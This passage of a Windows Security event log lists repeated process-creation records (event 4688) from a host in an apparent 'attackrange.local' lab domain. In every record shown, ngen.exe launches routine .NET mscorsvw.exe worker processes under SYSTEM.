Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2b8 -InterruptEvent 0 -NGENProcess 338 -Pipe 2d0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255181 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x900 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2f8 -InterruptEvent 0 -NGENProcess 2e0 -Pipe 804 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255180 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1224 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 838 -InterruptEvent 0 -NGENProcess 2cc -Pipe 318 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:16 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255179 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1110 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 810 -InterruptEvent 0 -NGENProcess 7d4 -Pipe 340 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255184 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13fc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 2cc -Pipe 2b8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:17 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255183 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1010 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 838 -InterruptEvent 0 -NGENProcess 81c -Pipe 7c4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255186 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe80 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 81c -InterruptEvent 0 -NGENProcess 308 -Pipe 7d4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:18 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255185 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 330 -InterruptEvent 0 -NGENProcess 814 -Pipe 320 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255188 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1158 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 330 -InterruptEvent 0 -NGENProcess 83c -Pipe 338 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:19 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255187 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 304 -InterruptEvent 0 -NGENProcess 814 -Pipe 810 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255194 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x129c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2ec -InterruptEvent 0 -NGENProcess 2cc -Pipe 814 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255193 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 2dc -Pipe 280 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255192 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 368 -InterruptEvent 0 -NGENProcess 2c0 -Pipe 304 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255191 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xeac - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2d4 -InterruptEvent 0 -NGENProcess 31c -Pipe 290 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255190 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa2c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 308 -InterruptEvent 0 -NGENProcess 280 -Pipe 2f0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:25 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255189 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x298 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 83c -InterruptEvent 0 -NGENProcess 31c -Pipe 330 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255196 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xbcc - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 2c4 -InterruptEvent 0 -NGENProcess 368 -Pipe 2f8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:27 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255195 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x102c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 31c -InterruptEvent 0 -NGENProcess 2dc -Pipe 2d8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:09:28 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255198 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1288 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 264 -InterruptEvent 0 -NGENProcess 838 -Pipe 2a4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative 